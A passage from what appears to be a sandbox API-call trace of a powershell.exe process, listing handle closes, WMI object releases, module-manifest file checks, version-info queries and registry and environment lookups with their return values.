CloseHandle (hObject=0x5b4) returned 1 [0142.391] CloseHandle (hObject=0x55c) returned 1 [0142.391] CloseHandle (hObject=0x554) returned 1 [0142.392] CloseHandle (hObject=0x228) returned 1 [0142.392] CloseHandle (hObject=0x57c) returned 1 [0142.393] LocalFree (hMem=0x757940) returned 0x0 [0142.393] CloseHandle (hObject=0x59c) returned 1 [0142.393] CloseHandle (hObject=0x4f4) returned 1 [0142.394] RegCloseKey (hKey=0x80000004) returned 0x0 [0142.394] CloseHandle (hObject=0x4f0) returned 1 [0142.395] CloseHandle (hObject=0x4ec) returned 1 [0142.395] CloseHandle (hObject=0x4e8) returned 1 [0142.395] CloseHandle (hObject=0x4e4) returned 1 [0142.395] CloseHandle (hObject=0x5b0) returned 1 [0142.397] CoGetContextToken (in: pToken=0x52f864 | out: pToken=0x52f864) returned 0x0 [0142.397] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.397] WbemDefPath:IUnknown:Release (This=0x5cdd1c8) returned 0x1 [0142.397] WbemDefPath:IUnknown:Release (This=0x5cdd1c8) returned 0x0 [0142.397] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.397] WbemDefPath:IUnknown:Release (This=0x5cdd2a8) returned 0x1 [0142.397] WbemDefPath:IUnknown:Release (This=0x5cdd2a8) returned 0x0 [0142.397] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.398] WbemDefPath:IUnknown:Release (This=0x5cdcf28) returned 0x1 [0142.398] WbemDefPath:IUnknown:Release (This=0x5cdcf28) returned 0x0 [0142.398] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.398] WbemDefPath:IUnknown:Release (This=0x5cdcd68) returned 0x1 [0142.398] WbemDefPath:IUnknown:Release (This=0x5cdcd68) returned 0x0 [0142.398] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.398] WbemDefPath:IUnknown:Release (This=0x5cdcba8) returned 0x1 [0142.398] WbemDefPath:IUnknown:Release (This=0x5cdcba8) returned 0x0 [0142.398] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.398] WbemDefPath:IUnknown:Release (This=0x5cdcc18) returned 0x1 [0142.398] WbemDefPath:IUnknown:Release (This=0x5cdcc18) returned 0x0 [0142.398] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.399] WbemDefPath:IUnknown:Release (This=0x5cdd238) returned 0x1 [0142.399] WbemDefPath:IUnknown:Release (This=0x5cdd238) returned 0x0 [0142.399] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.399] WbemDefPath:IUnknown:Release (This=0x5cdceb8) returned 0x1 [0142.399] WbemDefPath:IUnknown:Release (This=0x5cdceb8) returned 0x0 [0142.399] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.399] WbemDefPath:IUnknown:Release (This=0x5cdccf8) returned 0x1 [0142.399] WbemDefPath:IUnknown:Release (This=0x5cdccf8) returned 0x0 [0142.399] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.399] WbemDefPath:IUnknown:Release (This=0x6f3e68) returned 0x1 [0142.399] WbemDefPath:IUnknown:Release (This=0x6f3e68) returned 0x0 [0142.400] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.400] WbemDefPath:IUnknown:Release (This=0x5cdd008) returned 0x1 [0142.400] WbemDefPath:IUnknown:Release (This=0x5cdd008) returned 0x0 [0142.400] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.400] WbemDefPath:IUnknown:Release (This=0x5cdce48) returned 0x1 [0142.400] WbemDefPath:IUnknown:Release (This=0x5cdce48) returned 0x0 [0142.400] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.400] WbemDefPath:IUnknown:Release (This=0x5cdcc88) returned 0x1 [0142.400] WbemDefPath:IUnknown:Release (This=0x5cdcc88) returned 0x0 [0142.400] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.400] WbemDefPath:IUnknown:Release (This=0x5cdd158) returned 0x1 [0142.400] WbemDefPath:IUnknown:Release (This=0x5cdd158) returned 0x0 [0142.401] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.401] WbemDefPath:IUnknown:Release (This=0x5cdcdd8) returned 0x1 [0142.401] WbemDefPath:IUnknown:Release (This=0x5cdcdd8) returned 0x0 [0142.401] CoGetContextToken (in: pToken=0x52f864 | out: pToken=0x52f864) returned 0x0 [0142.401] CoGetContextToken (in: pToken=0x52f7e8 | out: pToken=0x52f7e8) returned 0x0 [0142.401] WbemLocator:IUnknown:Release (This=0x74f020) returned 0x4 [0142.406] CoReleaseMarshalData (pStm=0x748550) returned 0x0 [0142.406] WbemLocator:IUnknown:Release (This=0x74f020) returned 0x3 [0142.406] WbemLocator:IUnknown:Release (This=0x74f020) returned 0x2 [0142.406] WbemLocator:IUnknown:Release (This=0x74f020) returned 0x1 [0142.406] WbemLocator:IUnknown:Release (This=0x74f020) returned 0x0 [0142.578] IUnknown:Release (This=0x6adc48) returned 0x0 Thread: id = 24 os_tid = 0xf80 Thread: id = 30 os_tid = 0xf98 Thread: id = 31 os_tid = 0xf9c Thread: id = 33 os_tid = 0xfa4 Thread: id = 37 os_tid = 0xfb4 Thread: id = 39 os_tid = 0xfbc [0112.550] CoCreateGuid (in: pguid=0x4baee60 | out: pguid=0x4baee60*(Data1=0x8b85a31b, Data2=0x7e70, Data3=0x4ba1, Data4=([0]=0xb1, [1]=0x26, [2]=0x25, [3]=0x93, [4]=0x99, [5]=0xa, [6]=0xfe, [7]=0xb1))) returned 0x0 Thread: id = 43 os_tid = 0xfcc [0127.708] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0127.709] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0127.709] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.psd1")) returned 0x20 [0127.710] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0127.711] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0127.712] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow\\PSWorkflow.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflow\\psworkflow.psd1")) returned 0xffffffff [0127.712] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0127.716] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility\\PSWorkflowUtility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflowutility\\psworkflowutility.psd1")) returned 0xffffffff [0127.716] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\PSDiagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics\\psdiagnostics.psd1")) returned 0x20 [0127.716] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager\\NetworkSwitchManager.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\networkswitchmanager\\networkswitchmanager.psd1")) returned 0xffffffff [0127.716] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration\\PSDesiredStateConfiguration.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration\\psdesiredstateconfiguration.psd1")) returned 0x20 [0127.718] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0127.719] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0127.719] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0xffffffff [0127.719] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0127.720] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0127.720] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0127.720] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob\\PSScheduledJob.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob\\psscheduledjob.psd1")) returned 0x20 [0127.721] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0127.721] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts\\1.0.0.0\\Microsoft.PowerShell.LocalAccounts.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts\\1.0.0.0\\microsoft.powershell.localaccounts.psd1")) returned 0xffffffff [0127.721] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0127.722] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0127.722] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0127.722] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0127.722] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0127.722] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 [0131.944] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0131.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0131.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0131.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4dff030) returned 1 [0131.944] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x26c6dc8 | out: lpFileInformation=0x26c6dc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x3beb2960, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4dff02c) returned 1 [0131.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0131.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0131.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4dff1b4) returned 1 [0131.944] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0131.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4dfdfd0) returned 1 [0131.953] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0131.954] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0131.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4dff21c) returned 1 [0131.954] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0131.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4dfe038) returned 1 Thread: id = 44 os_tid = 0xfd0 Thread: id = 49 os_tid = 0xfe4 [0142.345] CoGetContextToken (in: pToken=0x95f78c | out: pToken=0x95f78c) returned 0x0 [0142.345] IUnknown:QueryInterface (in: This=0x6adc48, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95f7b0 | out: ppvObject=0x95f7b0*=0x6adc54) returned 0x0 [0142.345] IComThreadingInfo:GetCurrentThreadType (in: This=0x6adc54, pThreadType=0x95f7dc | out: pThreadType=0x95f7dc*=0) returned 0x0 [0142.345] IUnknown:Release (This=0x6adc54) returned 0x1 Thread: id = 50 os_tid = 0xfe8 Thread: id = 55 os_tid = 0xffc Thread: id = 57 os_tid = 0x860 Thread: id = 59 os_tid = 0x78c [0112.160] SetThreadUILanguage (LangId=0x0) returned 0x409 [0112.169] EtwEventRegister () returned 0x0 [0112.413] CoCreateGuid (in: pguid=0x59ff2fc | out: pguid=0x59ff2fc*(Data1=0xe1025e8a, Data2=0x6f84, Data3=0x4ecc, Data4=([0]=0xa6, [1]=0xa7, [2]=0x1a, [3]=0x50, [4]=0xc6, [5]=0xac, [6]=0x69, [7]=0xd1))) returned 0x0 [0112.438] QueryPerformanceCounter (in: lpPerformanceCount=0x59ff2dc | out: lpPerformanceCount=0x59ff2dc*=1175341473462) returned 1 [0112.438] GetCurrentProcessId () returned 0xf1c [0112.438] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf1c) returned 0x3c0 [0112.439] EnumProcessModules (in: hProcess=0x3c0, lphModule=0x2746630, cb=0x100, lpcbNeeded=0x59ff1d4 | out: lphModule=0x2746630, lpcbNeeded=0x59ff1d4) returned 1 [0112.440] GetModuleInformation (in: hProcess=0x3c0, hModule=0xa70000, lpmodinfo=0x2746770, cb=0xc | out: lpmodinfo=0x2746770*(lpBaseOfDll=0xa70000, SizeOfImage=0x6b000, EntryPoint=0xa7d330)) returned 1 [0112.440] CoTaskMemAlloc (cb=0x804) returned 0x756c28 [0112.440] GetModuleBaseNameW (in: hProcess=0x3c0, hModule=0xa70000, lpBaseName=0x756c28, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0112.440] CoTaskMemFree (pv=0x756c28) [0112.441] CoTaskMemAlloc (cb=0x804) returned 0x756c28 [0112.441] GetModuleFileNameExW (in: hProcess=0x3c0, hModule=0xa70000, lpFilename=0x756c28, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0112.441] CoTaskMemFree (pv=0x756c28) [0112.441] CloseHandle (hObject=0x3c0) returned 1 [0112.441] LocalReAlloc (hMem=0x660dd8, uBytes=0x208, uFlags=0x2) returned 0x757940 [0112.441] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0112.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fef0c) returned 1 [0112.442] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x59ff1d0 | out: lpFileInformation=0x59ff1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7f9180, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8b7f9180, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x7711b3a3, ftLastWriteTime.dwHighDateTime=0x1d251bc, nFileSizeHigh=0x0, nFileSizeLow=0x68400)) returned 1 [0112.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fef08) returned 1 [0112.442] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x59ff244 | out: lpdwHandle=0x59ff244) returned 0x74c [0112.442] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x74c, lpData=0x27489a4 | out: lpData=0x27489a4) returned 1 [0112.442] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x59ff218, puLen=0x59ff214 | out: lplpBuffer=0x59ff218*=0x2748d44, puLen=0x59ff214) returned 1 [0112.442] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x2748a5c, puLen=0x59ff194) returned 1 [0112.442] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x2748ab0, puLen=0x59ff194) returned 1 [0112.442] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x2748af8, puLen=0x59ff194) returned 1 [0112.442] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x2748b6c, puLen=0x59ff194) returned 1 [0112.442] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x2748ba8, puLen=0x59ff194) returned 1 [0112.443] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x2748c2c, puLen=0x59ff194) returned 1 [0112.443] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x2748c74, puLen=0x59ff194) returned 1 [0112.443] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x2748ce4, puLen=0x59ff194) returned 1 [0112.443] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x0, puLen=0x59ff194) returned 0 [0112.443] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x0, puLen=0x59ff194) returned 0 [0112.443] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x0, puLen=0x59ff194) returned 0 [0112.443] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x59ff198, puLen=0x59ff194 | out: lplpBuffer=0x59ff198*=0x0, puLen=0x59ff194) returned 0 [0112.443] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x59ff18c, puLen=0x59ff188 | out: lplpBuffer=0x59ff18c*=0x2748d44, puLen=0x59ff188) returned 1 [0112.443] VerLanguageNameW (in: wLang=0x409, szLang=0x59fef1c, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0112.443] VerQueryValueW (in: pBlock=0x27489a4, lpSubBlock="\\", lplpBuffer=0x59ff19c, puLen=0x59ff198 | out: lplpBuffer=0x59ff19c*=0x27489cc, puLen=0x59ff198) returned 1 [0113.029] QueryPerformanceCounter (in: lpPerformanceCount=0x59ff2a4 | out: lpPerformanceCount=0x59ff2a4*=1175400582601) returned 1 [0113.035] EtwEventRegister () returned 0x0 [0113.035] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ff114, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.220] EtwEventActivityIdControl () returned 0x0 [0113.220] EtwEventActivityIdControl () returned 0x0 [0113.220] EtwEventActivityIdControl () returned 0x0 [0113.293] EtwEventActivityIdControl () returned 0x0 [0113.293] EtwEventActivityIdControl () returned 0x0 [0113.293] EtwEventActivityIdControl () returned 0x0 [0113.419] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59fe91c, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.419] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59fe91c, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.446] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59fe908, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.504] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ff180 | out: phkResult=0x59ff180*=0x0) returned 0x2 [0113.505] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ff180 | out: phkResult=0x59ff180*=0x0) returned 0x2 [0113.538] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59fe8d8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.545] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fed18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.547] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x59fec34, nSize=0x80 | out: lpBuffer="") returned 0xbe [0113.547] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x59febb8, nSize=0xbe | out: lpBuffer="") returned 0xbd [0113.548] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59feba4, nSize=0xbe | out: lpBuffer="") returned 0x3a [0113.628] 